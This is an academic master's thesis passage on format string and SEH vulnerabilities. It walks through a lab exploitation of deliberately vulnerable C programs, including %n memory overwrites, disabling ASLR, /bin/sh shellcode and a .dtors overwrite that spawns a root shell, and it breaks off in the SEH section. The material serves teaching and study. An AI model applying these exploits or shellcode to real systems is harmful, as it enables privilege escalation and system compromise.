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Abstract 
 
Purpose of the present thesis is to investigate common, but also, dangerous 

vulnerabilities that pose a threat to computer systems. These vulnerabilities occur, 

mainly, due to the absence of the development of secure programming source code. 

While these can easily be avoided by an attentive programmer, many programs still 

contain these kinds of vulnerabilities. In this document there will be described three 

different types of vulnerability exploits and will then be explained, with examples, 

how can be used in order to exploit the vulnerable systems. 

 

The author, 

Leonardos Sotirios  
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1 Introduction 
In this thesis are analyzed three types of system vulnerabilities that affect both UNIX-
based and Windows-based operation systems. These vulnerabilities affect these 
systems in a way that a potential attacker can exploit them in order to acquire elevated 
privileges or to execute remote code. The first types of vulnerabilities are called 
Format String Vulnerabilities and are common in executables written in C 
programming language. They usually affect UNIX-based operation systems, and can 
cause substantial damage. The next types are called Structure Exception Handlers 
(SEH) Vulnerabilities, affecting only Microsoft-based operation systems. Taking 
advantage of this vulnerability, an attacker can execute code remotely in order to 
bypass this protection mechanism and login to the vulnerable system. The third and 
last types of vulnerabilities are called Race Condition Vulnerabilities. These types of 
vulnerabilities occur due to the time-of-check-to-time-of-use bug which is caused in a 
software system during the control check of an object and the usage of that checked 
object. An attacker can take advantage of this vulnerability in order to “race” the 
normal program execution and apply his own piece of malicious code. From this 
attack are affected both UNIX-based and Windows-based operation systems. This 
document examines these three different types of vulnerabilities, describing the 
theoretical background of each of them and presents attack scenarios for each type of 
vulnerable operation system. 
 

2 Format String Vulnerabilities 
Format string vulnerabilities or uncontrolled format strings, are a type of software 
vulnerabilities and can be used in security exploits. Prior to their discovery, around 
the year 1999, they were thought as harmless piece of code, but after that period there 
were developed format string exploits that were used to crash a program or to execute 
arbitrary code. [1] 
 
The format string vulnerability problem lays to the fact that it is used uncontrolled 
input as the format string parameter in some functions in C, like printf(). But what 
is a format string? A typical format string in C using the printf() function is as 
follows:  

printf("Show age: %d\n", 56); 
 

This function prints the string “Show age:” followed by the parameter “%d”, which is 
replaced by the number 56 in the output. Besides the “%d” parameter in C there are a 
number of other format parameters. These parameters are shown in the following 
table. [2] 
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Format Parameter Output Passed as 

%d decimal (int) value 
%u unsigned decimal (unsigned int) value 
%x hexadecimal (unsigned int) value 
%s string ((const) (unsigned) char *) reference 
%n Number of bytes written so far, (* int) reference 

 
Table 1: Format Parameters 

 
2.1 Stack memory and format strings 
 
The format string is responsible of controlling how the format function behaves. The 
format function recovers the requested parameters by the format string from the stack 
memory. To analyze that operation the following function is used. 
 
printf("the value of z is %d, the value of y is %d, and z is in 
address: %08x\n", x, y &z); 
 

The stack of the above function looks as follows in Picture 1: 
 
 
 

Stack Memory 
Top of the stack 

............................... 
Address of z 
Value of y 
Value of x 

Address of format string 
................................ 
Bottom of the stack 

 

Picture 1: Program’s Stack Memory 

Examining, now, a case where there is a discrepancy among the format string and the 
arguments. As before, there is the previous example of the printf() function asking 
for three arguments with the difference that the program is providing only two. 
 
printf("the value of z is %d, the value of y is %d, and z is in 
address: %08x\n", x, y); 

Moves in this 
direction 

Stack grows in 
this direction 

Internal pointer 
of printf() 
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Because the printf() function is defined as a function with a length of variables that 
vary, examining the number of the arguments it finds them to be correct, no matter 
that the last argument is missing. So a compiler in order to find this discrepancy must 
be able to understand how the function is working and what the concept of the format 
string is. But this is rarely the case. In many cases the format string is not a constant 
string and it is generated during the execution of the program, preventing the compiler 
to locate the discrepancy. 
 
Now, the printf() itself, draws the arguments from the stack memory. In the case 
where the format string requires three arguments, it will draw three data items from 
the stack memory, but if the stack has not a predefined boundary the printf() 
function cannot know that the number of the arguments provided to it can be depleted. 
From the moment that there is no such boundary the printf() function will continue 
to draw data that should not. These above two discontinuities lead to format string 
vulnerabilities, analyzed below. [2] 
 

2.2 Crash the program 
 
One type of format string vulnerability is for an attacker to cause a program crash. 
This type of attack can be useful for example in a network attack where it causes the 
service to be unresponsive like a DNS spoofing1 attack. Another interesting use of 
this attack is applied in UNIX-like operation systems where illegal pointer accesses 
are captured by the system’s kernel causing the program to send a segmentation fault 
error2

The format parameter %s displays memory from an address of the stack in which are 
stored additional data. This heightens the chances for an attacker to read from an 
illegal address, which is not mapped. 

 (SIGSEGV). In normal circumstances the program is terminated and performs 
memory dump. But with the exploitation of the format string vulnerabilities an 
attacker can initialize an invalid pointer access with the usage of the following format 
string: 

printf("%s%s%s%s%s%s%s"); 
 

[2] 

 
 

                                                           
1 DNS spoofing (or DNS cache poisoning) is a computer hacking attack, whereby data is introduced 
into a Domain Name System (DNS) name server's cache database, causing the name server to return an 
incorrect IP address, diverting traffic to another computer. 
2 A segmentation fault, bus error or access violation is generally an attempt to access memory that the 
CPU cannot physically address. 
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2.3 Viewing the Stack Memory 
 
With the following format string it is possible for an attacker to view parts of the stack 
memory: 
 

printf("%08x%08x%08x%08x%08x\n"); 
 

This tells the printf() function to retrieve five parameters from the stack memory 
and present them as 8-digit hexadecimal numbers with the appropriate padding where 
is needed. A hypothetical representation is demonstrated as follows: 

 
05540001 08016c12 00000012 bffff1ac 0811adc1 

 

This representation is a partial dump of the stack memory. Bearing in mind the size of 
the format string buffer and the size of the output buffer, there can be dumped large 
portions of the memory that the program uses and in some cases can be dumped the 
hole stack memory. This technique provides information about the program’s 
execution flow and its functions, helping a potential attacker to find the appropriate 
offsets in order to launch a successful attack. [2] 
 

2.4 Pinpointing memory at any location 
 
Another property of the vulnerabilities is that the attacker can view different memory 
locations besides the stack memory. In order to achieve that, the function must be 
supplied with an address provided from the attacker. However it is not possible to 
change the code of the program but only to supply the format string. If it is used the 
printf(%s) without a specified memory address, the target address will be anyway 
acquired by the printf() alone. So, the function preserves an initial stack pointer 
identifying the parameters location in the stack. It is worth mentioned that the usual 
place of the format string is in the stack. If it is possible for the target address to be 
encoded inside the format string, it will be placed in the stack. To demonstrate this, it 
follows the next code example where the format string is stored in a buffer located in 
the stack.  
 
int main(int argc, char *argv[]) 
{ 
   char user_input[500]; 
   ... ... /* some variable definitions and statements */ 
   scanf("%s", user_input); /* string input from user */ 
   printf(user_input); /* vulnerable part */ 
   return 0; 

} 
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By forcing the printf()to obtain the address from the format string, positioned also 
on the stack, the attacker can control the address, as it is shown as follows. 
 
printf("\x1c\x03\x4c\x08 %x%x%x%x%s"); 

 
The \x1c\x03\x4c\x08 is the 4-byte target address. In C the \x1c in a string is 
perceived by the compiler in a way that instructs it to put a hexadecimal value 0x1c in 
the current position, occupying a byte. If the character /x is not used an only the '1c' 
value is left in the string the characters '1' and 'c' will be stored separately as 
ASCII values and not as hexadecimals. Their values in ASCII are 49 and 99. The 
format parameter %x causes the stack pointer to move to the position that the format 
string is stored in the stack. If the attacker gives the following input to the program, 
that is how the attack works: 
 
user input: "\x1c\x03\x4c\x08 %x%x%x%x%s" 
 

 
 

Picture 2: Print out the contents at the address 0x1c34c08 

The four %x are used to move the pointer of the printf() to the address of the stored 
format string. When the pointer reaches the format parameter %s it will cause the 
printf() to print out the contents of the memory address 0x1c34c08. These contents 
will be considered from the printf() function as strings that prints them out until 
they reach to an end. The gap in the stack between the address of the input and the 
given address to the printf() function is not intended for the  printf(), 

For %s the contents pointed 
by this address are printed 

..
..
..
..
 

User input 

...
. 

%s 

%x 

%x 

%x 

%x 

0x1c34c08 

Address of the input 
Print this for 
the first %x 

Print this for 
the fourth %x 
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nevertheless due to the format string vulnerability that gap in the stack is considered 
by the printf() as arguments matching the %x in the format string. The challenge to 
the attacker is to determine the offset between his data input and the address that is 
given to the printf() function. This distance determines how many %x format 
parameters will be used before the final %s parameter. [2] 
 

2.5 Writing an integer in any location in the process memory 
 
Utilizing the %n format parameter in the following piece of C code, used to store the 
number of the characters written so far in an integer indicated by the corresponding 
argument, an attacker can cause the printf() to write 9 integers in a variable named 
'i'. 

 
int i; 
printf ("123456789%n", &i); 

Following the same procedure, the attacker can cause the printf() to write an 
integer in any location. The only change is that the format parameter %n is replaced 
with the %s and the contents of the address 0x1c34c08 can be overwritten. 
 
With the exploitation of this vulnerability an attacker can overwrite flags that control 
access privileges of a program or overwrite return addresses on the stack and stack 
pointers. But the input value is determined by the number of characters printed before 
the %n parameter is reached. In order for the attacker to write arbitrary integer values 
he must use dummy output characters for padding. For instance, if he intent to input a 
value of 100 he must use 100 dummy characters for padding. [2] 
 

3 Attacking the vulnerable program vuln.c 

In the following vulnerable program named vuln.c, which takes user input and has 
elevated privileges (Set-UID

Prerequisites: 
 
Operation System: Ubuntu 11.10 32-bit 
Software: GNU Compiler Collection (GCC), Ghex Hexadecimal Editor 
 

3

                                                           
3 Set-UID is a UNIX access rights flag that allow users to run an executable with the permissions of the 
executable's owner or group respectively and to change behavior in directories. 

). It has a format string vulnerability in the printf() 
function when it calls on the user inputs. This is the program’s exploitable part. The 
program has two secret values stored in its memory, 0x44 and 0x55, respectively. 
These are the values that a potential attacker wants to acquire and if possible, modify. 
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Due to the fact that the program has elevated privileges (Set-UID), the attacker can 
only read and execute it thus there is no possibility to alter the code. From the printout 
of the source code, it is easy for the attacker to find out that secret[0] and 
secret[1] are located in the heap memory. Also the address of the first secret is in 
the stack because the variable secret is allocated in the stack. So, if we wants to 
overwrite secret[0], its address is already in the stack. Nevertheless, although 
secret[1] is just right after secret[0], its address is not available on the stack. This 
poses a major challenge for the format string exploit, which needs to have the exact 
address right on the stack in order to read or write to that address. The program’s 
source code is demonstrated below. [3] 
 
/* vuln.c */ 
#define SECRET1 0x44  
#define SECRET2 0x55  
int main(int argc, char *argv[])  
{  
  char user_input[100];  
  int *secret;  
  int int_input;  
  int a, b, c, d; /* other variables, not used here.*/  
  /* The secret value is stored on the heap */  
  secret = (int *) malloc(2*sizeof(int)); 
  /* getting the secret */  
  secret[0] = SECRET1; secret[1] = SECRET2;  
  printf("The variable secret’s address is 0x%8x (on stack)\n",    

&secret);  
  printf("The variable secret’s value is 0x%8x (on heap)\n", secret);  
  printf("secret[0]’s address is 0x%8x (on heap)\n", &secret[0]);  
  printf("secret[1]’s address is 0x%8x (on heap)\n", &secret[1]);  
  printf("Please enter a string\n");  
  scanf("%s", user_input); /* getting a string from user */  
  /* Vulnerable place */  
  printf(user_input);  
  printf("\n");  
  /* Verify whether your attack is successful */  
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);  
  printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);  
  return 0;  
} 

 

3.1 First task: Exploit the vulnerability 
 
Initially the program is executed normally and asks the user to give two input values, 
one decimal (1546) and one string (abcd), as it is shown in Picture 3. 
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Picture 3: Normal execution of vuln.c 

As a next step the attacker attempts to crash the program using the format parameter 
%s, as it was previously described, in the string input of the program. This is 
demonstrated in the following picture. 
 

 
 

Picture 4: Crashing the program 
From trial and error it is determined that the number of %s parameters used is six in 
order to result a Segmentation Fault. This is the indication that the program has 
crashed. 
 
Thereafter, the attacker attempts to make the program to display its stack memory. In 
the field that requires the input of a string it is inserted the parameter %08x enough 
times. The %08x parameter presents the memory locations as 8-digit hexadecimal 
numbers with the appropriate padding where is needed, as described previously. It is 
also observed that the decimal value '123' that was inserted in the 'decimal integer' 
field is represented in its hexadecimal form as 0x0000007b positioned ninth, as it is 
illustrated in the following picture, after the execution of the program. 
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Picture 5: Display of the stack memory 

 
 

program 

Next, the attacker attempts to display the hidden value secret[1]. The first thing he 
must do is to type the heap address of secret[1] in the field that asks the input of an 
integer. That address is the 0x09fa100c as it is shown in the following picture, but 
because the input must be in decimal and not in hexadecimal format, the address is 
converted in decimal form which is the number 167383052. Then in the string input 
field, the ninth format parameter, %08x, is replaced with the %s parameter, namely a 
position next from the memory address of the secret[0], which in this case is the 
0x09fa1008. Thus, after the execution of the program, in that place is displayed the 
letter U, which is the value of secret[1]. The U value is an ASCII character and in 
the hexadecimal format is the number 0x55, which is the secret value of secret[1]. 
 

Picture 6: Display of the secret[1]’s secret value 
After the secret value is discovered, the attacker needs to rerun the program but this 
time to replace the %s parameter with the %n parameter. This format parameter 
displays the number of the bytes that are written up to it. In this case are 48 bytes and 
as a result is displayed as a new secret value of the secret[1].  
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Picture 7: Change of the secret[1]’s secret value 

So the first goal of the attacker is achieved by changing this value. Moving on, the 
attacker now can exploit this feature in order to try and insert another value to 
secret[1].  In order to do that, the following procedure is followed. Suppose that the 
attacker wants to replace the initial secret value, which is the 0x55, with the 0x123. 
Primarily the value 0x123 is converted to the decimal format, namely in the number 
291. From that number, subtract the number 63 which is the number of bytes in the 
%08x sequence of parameters and when the program is executed once more, it appears 
the memory location that is stored, in this case the address 0xbfd79388 plus the 
period from the initial input, which consists of  nine characters. Therefore, 9 * 7 = 63, 
memory locations. Now, by subtracting from the attackers value the previous number 
raises the following result, 291-63=228. Thus, the parameter %n is replaced with the 
crafted parameter 228u%n in order to replace the initial secret value, as it is shown in 
the following picture. By using a dummy parameter '%nu' the attacker is able to 
control the counter written by %n, at least a bit. In this case the counter is changed by 
228 bits. In this way the attacker manages to alter the secret value of secret[1] at his 
will without manipulating the program’s code. 
 

 
 

Picture 8: Input of new secret value for secret[1] 
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With the similar exploitation technique, the attacker can alter also the secret value of 
secret[0]. All he has to do is to type in the 'enter decimal integer' field, as before, 
the address of secret[0] converted from hexadecimal format to decimal, in this case 
the number 152604680. Next in the 'enter a string' field he enters the same format 
string as in secret[1] example. As a result he manages to alter the secret value of 
secret[0], as it is shown in the following picture.  
 
 
 

 
 

Picture 9: Input of new secret value for secret[0] 
 

3.2 Second task: Memory Randomization 
 
The source code of the previous program, named vuln.c had a scanf() statement that 
was taking input from the user. Assuming that this statement was missing, namely the 
program does not ask from the user to enter an integer, thus the attack becomes more 
difficult for those operating systems that have implemented address randomization. In 
this case the OS is Ubuntu 11.10 32-bit and by default implements this feature in its 
kernel, named ASLR or Address Space Layout Randomization. Its function is to 
randomly arrange the positions of key data areas, usually including the base of the 
executable and position of libraries, heap, and stack, in a process's address space. This 
means that attacks like buffer overflows or format strings are prevented. For 
demonstration reasons this feature is deactivated in order to execute a format string 
attack. The command that deactivates the ASLR is the following, (is executed only 
with root privileges): 
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Picture 10: Deactivation of memory randomization 

Usually, scanf() is going to pause for the user to type inputs. Sometimes, the user 
wants the program to take a number 0x05 (not the character 5). Unfortunately, when 5 
is typed at the input, scanf() actually takes in the ASCII value of 5, which is 0x35, 
rather than 0x05. The challenge is that in ASCII, 0x05 is not a character that the user 
can type, so there is no way he can type in this value. One way to solve this problem 
is the usage of a file. It is easy to write a C program that stores 0x05 to a file called 
mystring, then the vulnerable program named vuln2.c is executed with its input being 
redirected to mystring; namely,  ./vuln2 < mystring. This way, scanf() will take 
its input from the file mystring, instead of from the keyboard. Special attention must 
be paid to some special numbers, such as 0x0A (newline), 0x0C (form feed), 0x0D 
(return), and 0x20 (space). These are considered by scanf() as separators, and will 
stop reading anything after these special characters if there is only one %s in scanf(). 
If one of these special numbers is in the address, there must be found ways to get 
around this. To simplify the task, if the secret’s address happen to have those special 
numbers in it, another malloc statement can be added before the memory allocation 
for sec[1]. This extra malloc can cause the address of secret values to change. If it is 
given an appropriate value to the malloc, a lucky situation can be created, where the 
addresses of secret do not contain those special numbers. The following program 
writes a format string into a file called mystring. The first four bytes consist of an 
arbitrary number that is putted in this format string, followed by the rest of format 
string that is typed in from the keyboard. 
 
/*write_string.c */ 
 
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
int main()  
{  
  char buf[1000];  
  int fp, size;  
  unsigned int *address;  
  /* Putting any number at the beginning of the format string */  
  address = (unsigned int *) buf;  
  address = 0x804b01c; /* The address of sec[1] */ 
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  /* Getting the rest of the format string */  
  scanf("%s", buf+4);  
  size = strlen(buf+4) + 4;  
  printf("The string length is %d\n", size);  
  /* Writing buf to "mystring" */  
  fp = open("mystring",O_RDWR|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR);  
  if (fp != -1) {  
  write(fp, buf, size);  
  close(fp);  
  }else 
   { 
     printf("Open failed!\n");  
   }  
} 
 
In the above source code marked in yellow is where the address of sec[1] is placed. 
During the execution of the program is entered the preferred format string, in order to 
be used for the attack against the vuln2.c, and it is written in the file called mystring, 
as it is illustrated in the following two pictures. 
 

 
 

Picture 11: Execution of write_string.c 

 
 

Picture 12: Viewing the contents of mystring file 
 
By using the hexdump UNIX command on the mystring file, its contents can be 
displayed the hexadecimal format. As it is illustrated in the following picture, it is 
visible the address of sec[1] reversed due to little endianness, underlined in red, as 
well the number of bits that the counter is moved, in this case 215 or as ASCII 
hexadecimal characters 0x31, 0x32 and 0x35, circled in red. 
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Picture 13: Hexdump of mystring file 
 
Subsequently, the vuln2.c is executed, which is the altered version of the original 
vuln.c program. The scanf() statement is deactivated, as it is shown in the following 
source code highlighted in yellow, not permitting the user to input integers from the 
keyboard. Thereafter, in order to avoid the special characters, like 0x20 or 0x0C, is 
imported in the source code a second malloc function which assigns a specific number 
of bytes, as shown below. 
 
/* vuln2.c */ 
 
#define SECRET1 0x44  
#define SECRET2 0x55  
int main(int argc, char *argv[])  
{  
  char user_input[100];  
  int *secret;  
  int *sec;  
int int_input;  
int a, b, c, d; /* other variables, not used here.*/  
/* The secret value is stored on the heap */  
secret = (int *) malloc(2*sizeof(int)); 
/* Insertion on a new malloc statement in order to avoid special 
numbers */ 
sec = (int *) malloc(2*sizeof(int)); 
  
/* getting the secret */  
secret[0] = SECRET1; sec[1] = SECRET2;  
printf("The variable secret’s address is 0x%8x (on stack)\n", 
&secret);  
printf("The variable secret’s value is 0x%8x (on heap)\n", secret);  
printf("secret[0]’s address is 0x%8x (on heap)\n", &secret[0]);  
printf("sec[1]’s address is 0x%8x (on heap)\n", &sec[1]);  
 
/* Disabling the field of integer insertion */ 
 
//printf("Please enter a decimal integer\n");  
//scanf("%d", &int_input); /* getting an input from user */  
 
printf("Please enter a string\n");  
scanf("%s", user_input); /* getting a string from user */  
/* Vulnerable place */  
printf(user_input);  
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printf("\n");  
/* Verify whether your attack is successful */  
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);  
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], sec[1]);  
return 0;  
} 
 
In order for the vuln2.c to be able to read the data of the mystring file, is executes as 
follows:  

./vuln2c < mystring 
 
As it is shown in the following picture, the program is accepting the crafted format 
string from the mystring file and the secret value of the sec[1] is altered. The format 
string attack is successful like it was in the stage where there was an input in the 
integer field from the keyboard. 
 

 
 

Picture 14: Successful attack on the vuln2.c program 

4 Dtors format string vulnerability 
In programming a Destructor or .dtors, is a special function, along with Constructor or 
.ctors. The Constructor functions are executed before the execution of main() 
function of a C program and the Destructor function are executed just before the 
main() function is terminated with an exit system call. 

In the GNU C Compiler there are attributes which someone can tell the compiler how 
to handle a number of things. Among such attributes the below function attributes are 
used to define Constructors and Destructors in C language and only work under the 
GNU C Compiler. With this feature, the functions defined as constructor function 
would be executed before the function main() starts to execute, and the destructor 
would be executed after the main() has finished execution. 

A function can be declared as a destructor function by defining the destructor 
attribute, as seen in the following example in the destructor.c program below: 
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/* destructor.c */ 
 
#include <stdio.h> 

#include <stdlib.h> 

 

static void cleanup(void) __attribute__ ((destructor)); 

main() { 

   printf("Some actions happen in the main() function..\n"); 

   printf("and then when main() exits, the destructor is 
called..\n"); 

   exit(0); 

} 

void cleanup(void) { 

   printf("In the cleanup function now..\n"); 

} 

 

In the above code the cleanup() function is defined with the destructor attribute, so 
the function is automatically called when the  main() function exits as we can see 
below in the picture. Once more the memory randomization is turned off, in order for 
the attatck to be successful in later stages. [4] 

 

 
Picture 15: Compilation ad execution of destructor.c program 

 

The automatic execution of a function on exit is controlled by the .dtors table. This 
section is an array of 32-bit addresses which are terminated by a NULL address. The 
array is always beginning with the address 0xffffffff and finishes with the 
0x00000000 which is the NULL address. Among these two addresses are the 
addresses of all the functions that have been declared with the Destructor attribute. 
Using the nm command, which is a GNU command, and list symbols from object files, 
we can find the address of the cleanup() function, as it is shown below. 
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Picture 16: Finding the address of the cleanup function 

 

As we can see above, the cleanup() function is located at 0x080483d9. We can also 
see the .dtors section that starts with the __DTOR_LIST__ at 0x08049544 and is ending 
with the __DTOR_END__ at the address 0x0804954c. So this means that the 
0x08049544 contains 0xffffffff and 0x0804954c contains 0x00000000 and the 
address between them (0x08049548) should contain the address of cleanup() 
function which is 0x080483d9. 

Using the objdump command, which displays information about one or more object 
files, we can see the actual contents of the .dtors section, as we can see in the 
following picture. The first value (0x08049544) shows the address that .dtors section 
is located. Then the actual bytes are shown, with the bytes or the cleanup() function 
being reversed. 
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Picture 17: Viewing the contents of .dtors section 
 
The objdump –s –j means that there is going to be displayed a particular section of 
the program, in this case the .dtors section. The interesting detail of .dtors section is 
that it is writable. When we execute the objdump command of the headers (-h), we 
can verify that the .dtors section is not labeled as READONLY as we can see below in 
the picture. 
 

 
 

Picture 18: Verify that the .dtors section is writable 
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4.1 Exploiting a vulnerable program 
 
Another point of interest about the .dtors section is that it is included in all binaries 
compiled with the GNU C compiler, even if their functions have not declared with the 
destructor attribute. This means that the format string vulnerable program 
vuln_prog.c, that its code is shown below, must have a .dtors section containing 
nothing. This can be revealed with the use of nm and objdump commands, just like in 
the destructor.c program. 
 
/* vuln_prog.c */ 
 
#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

 

int main(int argc, char **argv) 

{ 

   char buf[1024]; 

   strcpy(buf, argv[1]); 

   printf(buf); 

   printf("\n"); 

   return 0; 

} 

We have already deactivated the ASLR for the previous program with the command 
sysctl -w kernel.randomize_va_space=0. In the following output we can see the 
compilation an execution of  vuln_prog.c. The vuln_prog.c takes as input strings, in 
our example the word “TEST”. The owner is root a has enabled the Set-UID. With the 
ls –al command we can verify the priviledges of the program. [4] 

 

 
 

Picture 19: Compilation of vuln_prog.c 
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Picture 20: Normal execution of vuln_prog.c 
 
Continuing, we use the %x format parameter and is printed the hexadecimal 
representation of a four-byte word (0xbffff755) in the stack, as we can see below. 
 

 
 

Picture 21: Examining the stack memory using the parameter %x 
 
This process can be used repeatedly to examine stack memory in order to find the 
offset that the program crashes, as we can see below. In this case we use the %08x 
parameter that represents 8-digit padded hexadecimal numbers. In our case the 
address offset is 8 as after the use of %08x values we can see the original input of 
AAAA which in hexadecimal is represented as 0x41414141. 
 

 
 

Picture 22: Examining the stack memory using the parameter %08x 

Then, using the “grep DTOR” command we can isolate the __DTOR_END__ and 
__DTOR_LIST__ sections of the vuln_prog.c, as shown below. Grep is a command line 
utility for searching plain-text data sets for lines matching a regular expression. 
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Picture 23: Using grep command to isolate DTOR-END & DTOR-LIST 

From the above output we can see that the distance between __DTOR_LIST__ and 
__DTOR_END__ is four bytes, which means there are no addresses between them. The 
object dump verifies this. 
 

 
 

Picture 24: Using the odjbump command on vuln_prog.c 

Because the .dtors section is writable, if the address after the 0xffffffff is 
overwritten with a memory address, the execution flow of the program will be 
directed to that address when the program exits. This address will be the address of 
__DTOR_LIST__ plus four (0x08049590) which in our case is the same address with 
the __DTOR_END__ address. Because the vuln_prog.c is Set-UID root, from the 
compilation process, this address can be overwritten and it is possible for us to obtain 
a root shell, as further explained below. First of all we need a shellcode. We write our 
shellcode in a text archive named shell.txt. Its code is as follows. 
 
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” 
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” 
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;  

 
In order to use the shellcode we must extract it in a binary file. The binary file is 
named as shell.bin and the method to extract it from the txt file is as follows. 
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Picture 25: Extracting shell.bin that contains the shellcode 

Using the Ghex Hexadecimal Editor we can see the hexadecimal dump of the 
shell.bin file as it is shown to the next picture. 
 

 
 

Picture 26: Using Ghex to view the hex dump of shell.bin 

Now at this file can be used the command substitution procedure to put the shellcode 
into an environment variable, along with a NOP sled of 20 NOPs. This procedure is 
performed with a Perl script as shown in the following picture. 
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Picture 27: Putting shellcode in an environmental variable 

In order to use this environmental variable to the vulnerable program we must use 
another program, named getenvaddr.c. Its code is shown below. 
 
/* getenvaddr.c */ 
 
#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

int main(int argc, char *argv[]) 

{ 

  char *ptr; 

  if(argc < 3) 

  { 

    printf("Usage: %s <environment var> <target program name>\n", 
argv[0]); 

    exit(0); 

  } 

  ptr = getenv(argv[1]); /* Get env var location. */ 

  ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program   
name.*/ 

  printf("%s will be at %p\n", argv[1], ptr); 

} 

 

When compiled, this program can accurately predict where an environment variable 
will be in memory during a target program’s execution. We compile the code by 
typing gcc -o getenvaddr getenvaddr.c command. The usage of the getenvaddr.c 
program is as it is shown below. [4] 

 



ΠΑ
ΝΕ
ΠΙ
ΣΤ
ΗΜ

ΙΟ
 Π
ΕΙ
ΡΑ
ΙΩ
Σ

 University of Piraeus 
 Department of Digital Systems 
 M.Sc. Security in Digital Systems 

Master Thesis: Advanced Persistent 
Threats (Format String, Structured Exception 
Handler & Race Condition vulnerabilities) 

 

 Page 30 
 

 
 

Picture 28: Finding the address of the shellcode 

 

We can see that the shellcode is placed in memory 0xbffff71e, of the vulnerable 
program. This happens because the program name lengths of the getenvaddr.c and the 
vulnerable vuln_prog.c differ by two bytes. This address simply has to be written into 
the .dtors section at 0x08049590 using the format string vulnerability. The attack 
method used is the usage of Short Writes. A short is typically a two-byte word, and 
format parameters have a special way of dealing with them. A more complete 
description of possible format parameters can be found in the printf() manual page, 
as it is displayed below. 

 

The length modifier 

Here, "integer conversion" stands for d, i, o, u, x, or X conversion. 
 

h     A following integer conversion corresponds to a short 
int or  unsigned short int argument, or a following n 
conversion corresponds to a pointer to a short int 
argument. [5] 

 

This can be used with format string exploits to write two-byte shorts. Using short 
writes, an entire four-byte value can be overwritten with just two %hn parameters. 

Bearing in mind the memory that the shellcode is placed which is the 0xbffff71e, of 
the vulnerable program, we can use the GDB in order to deal with the second write of 
0xbfff being less than the first write of 0xf71e. Using short writes we are not 
concerned about the order of the writes. So the first write can be 0xf71e and the 
second 0xbfff, if the two passed addresses are swapped in position. So we can use 
them in order to find the necessary offset needed to perform the format string attack. 
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Picture 29: Finding offsets using short writes 

 

In the output below, the address 0x08049592 is written to first, and 0x08049590 is 
written to second. Thus, we use the following input to the vulnerable program as we 
can see in the following picture. 

 

 
 

Picture 30: Inserting the complete format string to exploit vuln_pro.c 

 

 
 

Picture 31: Acquiring root privileges 

We observe that even thought the .dtors sections are not terminated with a NULL 
address (0x00000000), the address of the shellcode is considered to be a destructor 
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function. When the program exits, the shellcode is called, and spawns a root shell, as 
we can see above. 

Exploiting the ability to overwrite arbitrary memory addresses implies the ability to 
control the execution flow of the program. It is possible to overwrite the return 
address in the most recent stack frame, as it is done with the stack-based overflows. 
While this is a possible option, there are other targets that have more predictable 
memory addresses. The nature of stack-based overflows only allows the ability to 
overwrite the return address, but format strings provide the ability to overwrite any 
memory address, which creates other possibilities. 

 

5 Structured Exception Handling Vulnerabilities 
An exception

• Hardware exceptions are initiated by the CPU. They can result from the 
execution of certain instruction sequences, such as division by zero or an 
attempt to access an invalid memory address. 

 is an event that occurs during the execution of a program, and requires 
the execution of code outside the normal flow of control. There are two kinds of 
exceptions: hardware exceptions and software exceptions. 

• Software exceptions are initiated explicitly by applications or the operating 
system. For example, the system can detect when an invalid parameter value is 
specified. 

Structured exception handling

The system also supports termination handling, which enables the user to ensure that 
whenever a guarded body of code is executed, a specified block of termination code is 
also executed. The termination code is executed regardless of how the flow of control 
leaves the guarded body. For example, a termination handler can guarantee that 
cleanup tasks are performed even if an exception or some other error occurs while the 
guarded body of code is being executed. 

 is a mechanism for handling both hardware and 
software exceptions in Windows systems. Therefore, your code will handle hardware 
and software exceptions identically. Structured exception handling enables the user to 
have complete control over the handling of exceptions, provides support for 
debuggers, and is usable across all programming languages and machines. Vectored 
exception handling is an extension to structured exception handling. 

[6] 

5.1 Stack Memory including SEH 
 

As mentioned previously in fewer words an exception handler is a piece of code that 
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is written inside an application, with the purpose of dealing with the fact that the 
application throws an exception.  A typical exception handler looks like this:  
try 

{    

   // execution.  If an exception occurs, go to <catch> code 

} 

catch 

{ 

   // execution when exception occurs 

} 

In the following picture is illustrated how the stack memory that includes a Structured 
Exception Handler looks like. 

 

 
 

Picture 32: SEH stack memory 

As mentioned before, Windows has a default SEH (Structured Exception Handler) 
which will catch exceptions. If Windows catches an exception, the user will see a 
popup message noting that “xxx has encountered a problem and needs to close”. This 
is often the result of the default handler involving.  It is clear that, in order to write 
stable software, one should try to use development language specific exception 
handlers, and only rely on the Windows default SEH as a last resort.   When using 
language EH’s, the necessary links and calls to the exception handling code are 
generate in accordance with the underlying OS. When no exception handlers are used, 
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the Windows SEH will be used. So in the event of an error or an illegal instruction 
occurs, the application will catch the exception and do something with it. If no 
exception handler is defined in the application, the OS takes over, catches the 
exception, and shows a popup message asking the user to Send Error Report to 
Microsoft. In order for the application to be able to the catch code, the pointer to the 
exception handler code is saved on the stack (for each code block). Each code block 
has its own stack frame, and the pointer to the exception handler is part of this stack 
frame.  Thus, each function/procedure gets a stack frame. If an exception handler is 
implemented in this function/procedure, the exception handler gets its own stack 
frame. The information about the frame-based exception handler is stored in an 
exception_registration structure on the stack. [7] 

This structure, also called a SEH record, is 8 bytes and has two 4 byte elements: 

• a pointer to the next exception_registration structure (in essence, to the next 
SEH record, in case the current handler is unable the handle the exception) 

• a pointer, to the address of the actual code of the exception handler. (SE 
Handler) 

In the following picture is a simple stack view on the SEH chain components.  

 

Picture 33: SEH chain components 

At the top of the main data block (the data block of the application’s main() 
function), a pointer of the SEH chain is placed. The bottom of the SEH chain is 
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indicated by the address 0xFFFFFFFF. This will trigger an improper termination of the 
program and the OS’s handler will undertake. [7] 

5.2 

The base of exploiting the SEH mechanism is that if an attacker can overwrite the 
pointer to the SEH that will be used to deal with a given exception, and causes the 
